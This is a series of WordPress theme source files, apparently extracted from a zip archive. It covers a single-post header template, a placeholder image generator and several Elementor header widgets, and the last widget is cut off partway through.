			if ( ! has_post_thumbnail() || get_theme_mod( 'penci_post_thumb' ) ) {
				$class_pimage_audio .= ' no-thumbnail';
			}

			if ( $enable_jarallax ) {
				$class_pimage_audio .= ' penci-jarallax';
			}

			if ( ! $move_title_bellow ) {
				$class_pimage_audio .= ' penci-move-title-above';
			}

			?>
        <div class="<?php echo $class_pimage_audio; ?>">
			<?php
			if ( has_post_thumbnail() && ! get_theme_mod( 'penci_post_thumb' ) ) {
				echo $image_html;
			}
			?>
			<?php echo $div_special_wrapper; ?>
            <div class="audio-iframe">
				<?php $penci_audio = get_post_meta( $post->ID, '_format_audio_embed', true );
				$penci_audio_str   = substr( $penci_audio, - 4 ); ?>
				<?php if ( wp_oembed_get( $penci_audio ) ) : ?>
					<?php echo wp_oembed_get( $penci_audio ); ?>
				<?php elseif ( $penci_audio_str == '.mp3' ) : ?>
					<?php echo do_shortcode( '[audio src="' . esc_url( $penci_audio ) . '"]' ); ?>
				<?php else : ?>
					<?php echo $penci_audio; ?>
				<?php endif; ?>
            </div>
            <div class="penci-fto-ct">
				<?php
				if ( ! $move_title_bellow ) {
					get_template_part( 'template-parts/single', 'breadcrumb' );
				}
				if ( ! $move_title_bellow && has_post_thumbnail() && ! get_theme_mod( 'penci_post_thumb' ) ) {
					get_template_part( 'inc/template-builder/single-elements/entry', 'header', $settings );
				}
				?>
            </div>
			<?php if ( ! $move_title_bellow ): ?></div><?php endif; ?>
            </div>

		<?php else : ?>

			<?php if ( has_post_thumbnail() && ! $settings['penci_post_thumb'] ) : ?>
                <div class="post-image <?php echo( ! $move_title_bellow ? ' penci-move-title-above' : '' ); ?>">
					<?php
					if ( ! get_theme_mod( 'penci_disable_lightbox_single' ) && ! $enable_jarallax ) {
						$thumb_url = wp_get_attachment_url( get_post_thumbnail_id( $post->ID ) );
						echo '<a href="' . esc_url( $thumb_url ) . '" data-rel="penci-gallery-bground-content">';
						echo $image_html;
						echo '</a>';
					} else {

						echo '<div class="' . ( $enable_jarallax ? 'penci-jarallax' : '' ) . '">';
						echo $image_html;
						echo '</div>';
					}

					echo $div_special_wrapper;
					echo '<div class="penci-fto-ct">';
					if ( ! $move_title_bellow ) {
						get_template_part( 'template-parts/single', 'breadcrumb' );
					}

					if ( ! $move_title_bellow && has_post_thumbnail() ) {
						?>
                        <div class="header-standard header-classic single-header">
						<?php if ( ! $settings['penci_post_cat'] ) : ?>
                            <div class="penci-standard-cat penci-single-cat <?php echo $settings['cat_pre_style']; ?>"><span
                                        class="cat">
                                    <?php if ( penci_elementor_is_edit_mode() ) {
	                                    echo '<a class="penci-cat-name" href="#">Category Name 1</a> <a class="penci-cat-name" href="#">Category Name 2</a> <a class="penci-cat-name" href="#">Category Name 3</a>';
                                    } else {
	                                    penci_category( '' );
                                    } ?>
                                </span></div>
						<?php endif; ?>

						<?php if ( empty( $settings['hide_title'] ) ): ?>
                            <h1 class="post-title single-post-title entry-title"><span><?php the_title(); ?></span></h1>
						<?php endif; ?>
						<?php
						if ( ! $settings['hide_subtitle'] ) {
							penci_display_post_subtitle();
						}
						?>
						<?php penci_soledad_meta_schema(); ?>
						<?php $hide_readtime = get_theme_mod( 'penci_single_hreadtime' ); ?>
						<?php if ( ! $settings['penci_single_meta_author'] || ! $settings['penci_single_meta_date'] || ! $settings['penci_single_meta_comment'] || $settings['penci_single_show_cview'] || $settings[ $hide_readtime ] ) : ?>

                            <div class="post-box-meta-single style-<?php echo esc_attr( $icon_style ); ?>">
								<?php if ( ! $settings['penci_single_meta_author'] ) :
									global $post;
									?>
                                    <span class="author-post byline">
                                        <span class="author vcard">
                                            <?php
                                            if ( ! $ava_icon_enable && $ava_icon ) {
	                                            echo '<span class="pcmt-icon ava-icon">';
	                                            \Elementor\Icons_Manager::render_icon( $ava_icon );
	                                            echo '</span>';
                                            }
                                            ?>
	                                        <?php if ( ! $label_text ) {
		                                        echo penci_get_setting( 'penci_trans_written_by' );
	                                        } ?>

	                                        <?php
	                                        $author_ids     = [];
	                                        $post_author_id = get_post_field( 'post_author', get_the_ID() );
	                                        if ( $post_author_id ) {
		                                        $author_ids[] = $post_author_id;
	                                        }
	                                        if ( function_exists( 'coauthors__echo' ) ) {
		                                        $author_list = coauthors__echo( 'ID', 'field', array(
			                                        'between'     => ',',
			                                        'betweenLast' => ',',
			                                        'before'      => '',
			                                        'after'       => '',
		                                        ), null, false );
		                                        if ( $author_list ) {
			                                        $author_ids = explode( ',', $author_list );
		                                        }
	                                        }
	                                        $total   = count( $author_ids );
	                                        $current = 0;
	                                        foreach ( $author_ids as $author_id ) {
		                                        $current ++;
		                                        ?>

                                                <a class="author-url url fn n"
                                                   href="<?php echo get_author_posts_url( $author_id ); ?>">
                                                <?php
                                                if ( ! $avatar ) {
	                                                echo get_avatar( $author_id, $avatarw );
                                                } else {
	                                                echo $current == 2 ? ', ' : ( ( $current == $total && $total > 1 ) ? ' & ' : '' );
                                                }
                                                echo get_the_author_meta( 'display_name', $author_id );
                                                ?>
                                            </a>
	                                        <?php } ?>
                                        </span>
                                    </span>
								<?php endif; ?>
								<?php penci_author_update_name( $settings['penci_single_meta_author_update'], $avatar, $avatarw ); ?>
								<?php if ( ! $settings['penci_single_meta_date'] ) : ?>
                                    <span class="pctmp-date-post">
                                <?php
                                if ( ! $date_icon_enable && $date_icon ) {
	                                echo '<span class="pcmt-icon date-icon">';
	                                \Elementor\Icons_Manager::render_icon( $date_icon );
	                                echo '</span>';
                                }
                                ?>
                                <?php penci_soledad_time_link( 'single' ); ?></span>
								<?php endif; ?>
								<?php if ( ! $settings['penci_single_meta_comment'] ) :
									?>
                                    <span class="pctmp-comment-post">
                                    <?php
                                    if ( ! $commment_icon_enable && $commment_icon ) {
	                                    echo '<span class="pcmt-icon comment-icon">';
	                                    \Elementor\Icons_Manager::render_icon( $commment_icon );
	                                    echo '</span>';
                                    }
                                    $comment_text  = ! $label_text ? ' ' . penci_get_setting( 'penci_trans_comment' ) : '';
                                    $comments_text = ! $label_text ? ' ' . penci_get_setting( 'penci_trans_comments' ) : '';
                                    ?>
                                    <?php comments_number( '0' . $comments_text, '1' . $comment_text, '%' . $comments_text ); ?></span>
								<?php endif; ?>
								<?php if ( 'yes' != $settings['penci_single_show_cview'] ) : ?>
                                    <span class="pctmp-view-post">
                                    <?php
                                    if ( ! $view_icon_enable && $view_icon ) {
	                                    echo '<span class="pcmt-icon view-icon">';
	                                    \Elementor\Icons_Manager::render_icon( $view_icon );
	                                    echo '</span>';
                                    }
                                    ?>
                                        <i class="penci-post-countview-number"><?php echo penci_get_post_views( get_the_ID() ); ?></i><?php if ( ! $label_text ) {
											echo ' ' . penci_get_setting( 'penci_trans_countviews' );
										} ?></span>
								<?php endif; ?>
								<?php if ( penci_isshow_reading_time( $hide_readtime ) ):
									?>
                                    <span class="single-readtime">
                                    <?php
                                    if ( ! $reading_icon_enable && $reading_icon ) {
	                                    echo '<span class="pcmt-icon reading-icon">';
	                                    \Elementor\Icons_Manager::render_icon( $reading_icon );
	                                    echo '</span>';
                                    }
                                    ?>
                                    <?php penci_reading_time(); ?></span>
								<?php endif; ?>
								<?php
								if ( get_the_post_thumbnail_caption() && get_theme_mod( 'penci_post_thumb_caption' ) && ! $move_title_bellow ) {
									echo '<span class="penci-featured-caption penci-fixed-caption penci-caption-relative">' . get_the_post_thumbnail_caption() . '</span>';
								}
								?>
								<?php do_action( 'penci_single_meta_content' ); ?>
                            </div>
						<?php endif; ?>
						<?php
						$recipe_title = get_post_meta( get_the_ID(), 'penci_recipe_title', true );
						if ( has_shortcode( get_the_content(), 'penci_recipe' ) || $recipe_title ) {
							do_action( 'penci_recipes_action_hook' );
						} ?>
                        </div><?php
					}
					echo '</div>';
					if ( ! $move_title_bellow ) {
						echo '</div>';
					}

					if ( get_the_post_thumbnail_caption() && get_theme_mod( 'penci_post_thumb_caption' ) && $move_title_bellow ) {
						echo '<span class="penci-featured-caption penci-fixed-caption">' . get_the_post_thumbnail_caption() . '</span>';
					}
					?>
                </div>
			<?php endif; ?>

		<?php endif;
	}
}
PK     2w\%gT       template-builder/placeholder.phpnu [        <?php
header( "Content-type: image/png" );

$height = 100;
$width  = 50;

$start = str_pad( dechex( mt_rand( 0, 0xFFFFFF ) ), 6, '0', STR_PAD_LEFT );
$end   = str_pad( dechex( mt_rand( 0, 0xFFFFFF ) ), 6, '0', STR_PAD_LEFT );
if ( isset( $_GET["start"] ) && $_GET["start"] ) {
	$start = $_GET["start"];
}
if ( isset( $_GET["end"] ) && $_GET["end"] ) {
	$end = $_GET["end"];
}
if ( isset( $_GET["w"] ) && $_GET["w"] ) {
	$width = $_GET["w"];
}
if ( isset( $_GET["h"] ) && $_GET["h"] ) {
	$height = $_GET["h"];
}

$start_r = hexdec( substr( $start, 0, 2 ) );
$start_g = hexdec( substr( $start, 2, 2 ) );
$start_b = hexdec( substr( $start, 4, 2 ) );
$end_r   = hexdec( substr( $end, 0, 2 ) );
$end_g   = hexdec( substr( $end, 2, 2 ) );
$end_b   = hexdec( substr( $end, 4, 2 ) );
$image   = @imagecreate( $width, $height );

for ( $y = 0; $y < $height; $y ++ ) {
	for ( $x = 0; $x < $width; $x ++ ) {
		if ( $start_r == $end_r ) {
			$new_r = $start_r;
		}
		$difference = $start_r - $end_r;
		$new_r      = $start_r - intval( ( $difference / $height ) * $y );
		if ( $start_g == $end_g ) {
			$new_g = $start_g;
		}
		$difference = $start_g - $end_g;
		$new_g      = $start_g - intval( ( $difference / $height ) * $y );
		if ( $start_b == $end_b ) {
			$new_b = $start_b;
		}
		$difference = $start_b - $end_b;
		$new_b      = $start_b - intval( ( $difference / $height ) * $y );
		$row_color  = imagecolorresolve( $image, $new_r, $new_g, $new_b );
		imagesetpixel( $image, $x, $y, $row_color );
	}
}

imagepng( $image );
imagedestroy( $image );
PK     2w\    -  template-builder/header-elements/wishlist.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}


class PenciHeaderWishlist extends \Elementor\Widget_Base {

	public function get_title() {
		return esc_html__( 'Header - Wishlist', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-logo';
	}

	public function get_categories() {
		return [ 'penci-header-builder' ];
	}

	public function get_keywords() {
		return [ 'wishlist' ];
	}

	public function get_name() {
		return 'penci-header-wishlist';
	}

	protected function register_controls() {

		$this->start_controls_section( 'content_section', [
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
		] );

		$this->add_responsive_control( 'btn_size', [
			'label'   => esc_html__( 'Button Size', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SLIDER,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.wishlist-contents' => 'width:{{SIZE}}px;height:{{SIZE}}px;line-height:{{SIZE}}px']
		] );

		$this->end_controls_section();

		// style
		$this->start_controls_section( 'content_style', [
			'label' => esc_html__( 'Style', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_STYLE,
		] );

		$this->add_control( 'btn_heading_01', [
			'label' => esc_html__( 'Compare Icon', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::HEADING,
		] );

		$this->add_control( 'btn_bgcolor', [
			'label' => esc_html__( 'Background Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.wishlist-contents' => 'background:{{VALUE}}']
		] );
		
		$this->add_control( 'btn_bghvcolor', [
			'label' => esc_html__( 'Background Hover Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.wishlist-contents:hover' => 'background:{{VALUE}}']
		] );
		
		$this->add_control( 'btn_txtcolor', [
			'label' => esc_html__( 'Text Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.wishlist-contents' => 'color:{{VALUE}}']
		] );
		
		$this->add_control( 'btn_txthvcolor', [
			'label' => esc_html__( 'Text Hover Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.wishlist-contents:hover' => 'color:{{VALUE}}']
		] );

		$this->add_control( 'btn_bdradius', [
			'label' => esc_html__( 'Border Radius', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::DIMENSIONS,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.wishlist-contents' => 'border-radius:{{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};']
		] );

		$this->add_control( 'btn_bdcolor', [
			'label' => esc_html__( 'Border Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.wishlist-contents' => 'border:1px solid {{VALUE}};']
		] );

		$this->add_control( 'btn_bdwidth', [
			'label' => esc_html__( 'Border Width', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::DIMENSIONS,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.wishlist-contents' => 'border-width:{{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};']
		] );

		$this->add_responsive_control( 'btn_iconsize', [
			'label' => esc_html__( 'Icon Size', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::SLIDER,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.wishlist-contents > i' => 'font-size:{{SIZE}}px;']
		] );

		$this->add_control( 'btn_heading_02', [
			'label' => esc_html__( 'Counter Style', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::HEADING,
		] );
		
		$this->add_control( 'btn_icolor', [
			'label' => esc_html__( 'Icon Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.wishlist-contents > span' => 'color:{{VALUE}}']
		] );
		
		$this->add_control( 'btn_ihvcolor', [
			'label' => esc_html__( 'Icon Hover Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.wishlist-contents:hover > span' => 'color:{{VALUE}}']
		] );
		
		$this->add_control( 'btn_ibgcolor', [
			'label' => esc_html__( 'Icon Background Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.wishlist-contents > span' => 'background-color:{{VALUE}}']
		] );
		
		$this->add_control( 'btn_ihvbgcolor', [
			'label' => esc_html__( 'Icon Hover Background Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.wishlist-contents > span' => 'background-color:{{VALUE}}']
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'btn_icon_typo',
			'label'    => __( 'Cart Number Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .top-search-classes a.wishlist-contents > span',
		) );


		$this->end_controls_section();

	}

	protected function render() {
		$settings         = $this->get_settings();
		$wishlist_page_id = get_theme_mod( 'penci_woocommerce_wishlist_page' );
		//if ( $wishlist_page_id ) :
			?>
            <div id="top-header-wishlist"
                 class="pc-builder-element pchd-elwishlist penci-builder-elements top-search-classes pcheader-icon wishlist-icon">
                <a class="wishlist-contents"
                   href="<?php echo esc_url( get_page_link( $wishlist_page_id ) ); ?>"
                   title="<?php echo penci_woo_translate_text( 'penci_woo_trans_viewwishlist' ); ?>">

                    <i class="penciicon-heart"></i>
                    <span><?php do_action( 'penci_current_wishlist' ); ?></span>
                </a>
            </div>
		<?php //endif;

	}
}PK     2w\2    .  template-builder/header-elements/hamburger.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}


class PenciHeaderHamburger extends \Elementor\Widget_Base {

	public function get_title() {
		return esc_html__( 'Header - Hamburger Menu', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-logo';
	}

	public function get_categories() {
		return [ 'penci-header-builder' ];
	}

	public function get_keywords() {
		return [ 'bookmark' ];
	}

	public function get_name() {
		return 'penci-header-hamburger';
	}

	protected function register_controls() {

		// style
		$this->start_controls_section( 'content_style', [
			'label' => esc_html__( 'Style', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_STYLE,
		] );

		$this->add_control( 'btn_notice', [
			'type'    => \Elementor\Controls_Manager::ALERT,
			'alert_type' => 'warning',
			'content'    => __('You can go to "Appearance > Customize > Vertical Navigation & Menu Hamburger" to adjust the sidebar hamburger.','soledad' ),
			'render_type' => 'ui',
		] );
		
		$this->add_responsive_control( 'btn_size', [
			'label'   => esc_html__( 'Menu Size', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SLIDER,
			'selectors'    => ['{{WRAPPER}} .penci-menuhbg-toggle.builder'=>'--pcbd-menuhbg-size:{{SIZE}}px'],
		] );
		
		$this->add_control( 'btn_color', [
			'label'   => esc_html__( 'Menu Color', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::COLOR,
			'selectors'    => ['{{WRAPPER}} .pc-builder-element a.penci-menuhbg-toggle .lines-button:after, {{WRAPPER}} .pc-builder-element a.penci-menuhbg-toggle.builder .penci-lines:before,{{WRAPPER}} .pc-builder-element a.penci-menuhbg-toggle.builder .penci-lines:after'=>'background-color:{{VALUE}}'],
		] );

		$this->add_control( 'btn_hcolor', [
			'label'   => esc_html__( 'Menu Hover Color', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::COLOR,
			'selectors'    => ['{{WRAPPER}} .pc-builder-element a.penci-menuhbg-toggle:hover .lines-button:after, {{WRAPPER}} .pc-builder-element a.penci-menuhbg-toggle.builder:hover .penci-lines:before,{{WRAPPER}} .pc-builder-element a.penci-menuhbg-toggle.builder:hover .penci-lines:after'=>'background-color:{{VALUE}}'],
		] );

		$this->add_responsive_control( 'btn_bwidth', [
			'label'   => esc_html__( 'Border Width', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SLIDER,
			'selectors'    => ['{{WRAPPER}} .penci-menuhbg-toggle.builder'=>'border-width:{{SIZE}}px'],
		] );
		
		$this->add_control( 'btn_bdcolor', [
			'label'   => esc_html__( 'Menu Border Color', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::COLOR,
			'selectors'    => ['{{WRAPPER}} .pc-builder-element a.penci-menuhbg-toggle'=>'border-color:{{VALUE}}'],
		] );

		$this->add_control( 'btn_bdhcolor', [
			'label'   => esc_html__( 'Menu Hover Border Color', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::COLOR,
			'selectors'    => ['{{WRAPPER}} .pc-builder-element a.penci-menuhbg-toggle:hover'=>'border-color:{{VALUE}}'],
		] );
		
		$this->add_control( 'btn_bgcolor', [
			'label'   => esc_html__( 'Menu Background Color', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::COLOR,
			'selectors'    => ['{{WRAPPER}} .pc-builder-element a.penci-menuhbg-toggle'=>'background-color:{{VALUE}}'],
		] );

		$this->add_control( 'btn_bghcolor', [
			'label'   => esc_html__( 'Menu Hover Background Color', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::COLOR,
			'selectors'    => ['{{WRAPPER}} .pc-builder-element a.penci-menuhbg-toggle:hover'=>'background-color:{{VALUE}}'],
		] );


		$this->end_controls_section();

	}

	protected function render() {
		$settings  = $this->get_settings();
		?>
        <div class="pc-builder-element penci-menuhbg-wapper penci-menu-toggle-wapper penci-elhb-hbg">
            <a href="#" aria-label="Open Menu"
               class="penci-menuhbg-toggle builder">
				<span class="penci-menuhbg-inner">
					<i class="lines-button lines-button-double">
						<i class="penci-lines"></i>
					</i>
					<i class="lines-button lines-button-double penci-hover-effect">
						<i class="penci-lines"></i>
					</i>
				</span>
            </a>
        </div>
		<?php
		add_filter( 'theme_mod_penci_menu_hbg_show', function () {
			return true;
		} );
	}
}PK     2w\    ,  template-builder/header-elements/compare.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}


class PenciHeaderCompare extends \Elementor\Widget_Base {

	public function get_title() {
		return esc_html__( 'Header - Compare', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-logo';
	}

	public function get_categories() {
		return [ 'penci-header-builder' ];
	}

	public function get_keywords() {
		return [ 'bookmark' ];
	}

	public function get_name() {
		return 'penci-header-compare';
	}

	protected function register_controls() {

		$this->start_controls_section( 'content_section', [
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
		] );

		$this->add_responsive_control( 'btn_size', [
			'label'   => esc_html__( 'Button Size', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SLIDER,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.compare-contents' => 'width:{{SIZE}}px;height:{{SIZE}}px;line-height:{{SIZE}}px']
		] );

		$this->end_controls_section();

		// style
		$this->start_controls_section( 'content_style', [
			'label' => esc_html__( 'Style', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_STYLE,
		] );

		$this->add_control( 'btn_heading_01', [
			'label' => esc_html__( 'Compare Icon', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::HEADING,
		] );

		$this->add_control( 'btn_bgcolor', [
			'label' => esc_html__( 'Background Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.compare-contents' => 'background:{{VALUE}}']
		] );
		
		$this->add_control( 'btn_bghvcolor', [
			'label' => esc_html__( 'Background Hover Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.compare-contents:hover' => 'background:{{VALUE}}']
		] );
		
		$this->add_control( 'btn_txtcolor', [
			'label' => esc_html__( 'Text Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.compare-contents' => 'color:{{VALUE}}']
		] );
		
		$this->add_control( 'btn_txthvcolor', [
			'label' => esc_html__( 'Text Hover Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.compare-contents:hover' => 'color:{{VALUE}}']
		] );

		$this->add_control( 'btn_bdradius', [
			'label' => esc_html__( 'Border Radius', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::DIMENSIONS,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.compare-contents' => 'border-radius:{{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};']
		] );

		$this->add_control( 'btn_bdcolor', [
			'label' => esc_html__( 'Border Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.compare-contents' => 'border:1px solid {{VALUE}};']
		] );

		$this->add_control( 'btn_bdwidth', [
			'label' => esc_html__( 'Border Width', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::DIMENSIONS,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.compare-contents' => 'border-width:{{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};']
		] );

		$this->add_responsive_control( 'btn_iconsize', [
			'label' => esc_html__( 'Icon Size', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::SLIDER,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.compare-contents > i' => 'font-size:{{SIZE}}px;']
		] );

		$this->add_control( 'btn_heading_02', [
			'label' => esc_html__( 'Counter Style', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::HEADING,
		] );
		
		$this->add_control( 'btn_icolor', [
			'label' => esc_html__( 'Icon Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.compare-contents > span' => 'color:{{VALUE}}']
		] );
		
		$this->add_control( 'btn_ihvcolor', [
			'label' => esc_html__( 'Icon Hover Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.compare-contents:hover > span' => 'color:{{VALUE}}']
		] );
		
		$this->add_control( 'btn_ibgcolor', [
			'label' => esc_html__( 'Icon Background Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.compare-contents > span' => 'background-color:{{VALUE}}']
		] );
		
		$this->add_control( 'btn_ihvbgcolor', [
			'label' => esc_html__( 'Icon Hover Background Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['{{WRAPPER}} .top-search-classes a.compare-contents > span' => 'background-color:{{VALUE}}']
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'btn_icon_typo',
			'label'    => __( 'Cart Number Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .top-search-classes a.compare-contents > span',
		) );

		$this->end_controls_section();

	}

	protected function render() {
		$compare_page_id = get_theme_mod( 'penci_woocommerce_compare_page' );
		//if ( $compare_page_id ):
			?>
            <div id="top-header-compare"
                 class="pchd-elcompare top-search-classes penci-builder-elements pcheader-icon compare-icon">
                <a href="<?php echo esc_url( get_page_link( $compare_page_id ) ); ?>"
                   class="compare-contents"
                   title="<?php echo penci_woo_translate_text( 'penci_woo_trans_viewcompare' ); ?>">

                    <i class="penciicon-exchange-2"></i>
                    <span><?php do_action( 'penci_current_compare' ); ?></span>
                </a>
            </div>
		<?php //endif;
	}
}PK     2w\U*    1  template-builder/header-elements/dropdownmenu.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}


class PenciHeaderDropdownmenu extends \Elementor\Widget_Base {

	public function get_title() {
		return esc_html__( 'Header - Dropdown Menu', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-nav-menu';
	}

	public function get_categories() {
		return [ 'penci-header-builder' ];
	}

	public function get_keywords() {
		return [ 'menu', 'dropdown' ];
	}

	public function get_name() {
		return 'penci-header-dropdown-menu';
	}

	protected function register_controls() {

		$this->start_controls_section( 'content_section', [
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
		] );


		$menus = $this->get_available_menus();

		if ( ! empty( $menus ) ) {
			$this->add_control(
				'header_menu',
				[
					'label'        => __( 'Menu', 'soledad' ),
					'type'         => \Elementor\Controls_Manager::SELECT,
					'options'      => $menus,
					'default'      => array_keys( $menus )[0],
					'save_default' => true,
					'separator'    => 'after',
					'description'  => sprintf( __( 'Go to the <a href="%s" target="_blank">Menus screen</a> to manage your menus. Please note that: The Footer Nav Menu does not support showing sub-menu items. All sub-menus will be hidden.', 'soledad' ), admin_url( 'nav-menus.php' ) ),
				]
			);
		} else {
			$this->add_control(
				'header_menu',
				[
					'type'            => \Elementor\Controls_Manager::RAW_HTML,
					'raw'             => '<strong>' . __( 'There are no menus in your site.', 'soledad' ) . '</strong><br>' . sprintf( __( 'Go to the <a href="%s" target="_blank">Menus screen</a> to create one.', 'soledad' ), admin_url( 'nav-menus.php?action=edit&menu=0' ) ),
					'separator'       => 'after',
					'content_classes' => 'elementor-panel-alert elementor-panel-alert-info',
				]
			);
		}
		
		$this->add_control( 'vernav_click_parent', [
			'label'     => esc_html__( 'Enable click on Parent Menu Item to open Child Menu Items', 'soledad' ),
			'description' => __('By default, you need to click to the arrow on the right side to open child menu items - this option will help you click on the parent menu items to open child menu items','soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
		] );

		$this->end_controls_section();

		// style
		$this->start_controls_section( 'content_style', [
			'label' => esc_html__( 'Menu Colors & Typo', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_STYLE,
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'fontsize_lv1',
			'label'    => __( 'Parent Menu Items', 'soledad' ),
			'selector' => '{{WRAPPER}} .pc-builder-menu.pc-dropdown-menu .menu li > a',
		) );
		
		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'fontsize_dropdown',
			'label'    => __( 'Dropdown Menu Items', 'soledad' ),
			'selector' => '{{WRAPPER}} .pc-builder-menu.pc-dropdown-menu .menu li li a',
		) );
		
		$this->add_control(
			'menu_color',
			array(
				'label'      => 'Menu Item Color',
				'type'       => \Elementor\Controls_Manager::COLOR,
				'selectors'  => array(
					'{{WRAPPER}} .pc-builder-menu.pc-dropdown-menu .menu li a' => 'color: {{VALUE}};',
				),
			)
		);
		
		$this->add_control(
			'menu_hcolor',
			array(
				'label'      => 'Menu Item Hover Color',
				'type'       => \Elementor\Controls_Manager::COLOR,
				'selectors'  => array(
					'{{WRAPPER}} .pc-builder-menu.pc-dropdown-menu .menu li a:hover,{{WRAPPER}} .pc-builder-menu.pc-dropdown-menu .menu > li.current_page_item > a' => 'color: {{VALUE}};',
				),
			)
		);
		
		$this->add_control(
			'menu_rcolor',
			array(
				'label'      => 'Current Menu Item Color',
				'type'       => \Elementor\Controls_Manager::COLOR,
				'selectors'  => array(
					'{{WRAPPER}} .pc-builder-menu.pc-dropdown-menu .menu > li.current_page_item > a' => 'color: {{VALUE}};',
				),
			)
		);
		
		$this->add_control(
			'menu_bdcolor',
			array(
				'label'      => 'Menu Item Border Color',
				'type'       => \Elementor\Controls_Manager::COLOR,
				'selectors'  => array(
					'{{WRAPPER}} .pchgbel .menu li,{{WRAPPER}} .pchgbel .menu li ul.sub-menu' => 'border-color: {{VALUE}};',
				),
			)
		);
		
		$this->add_responsive_control(
			'menu_spacing',
			array(
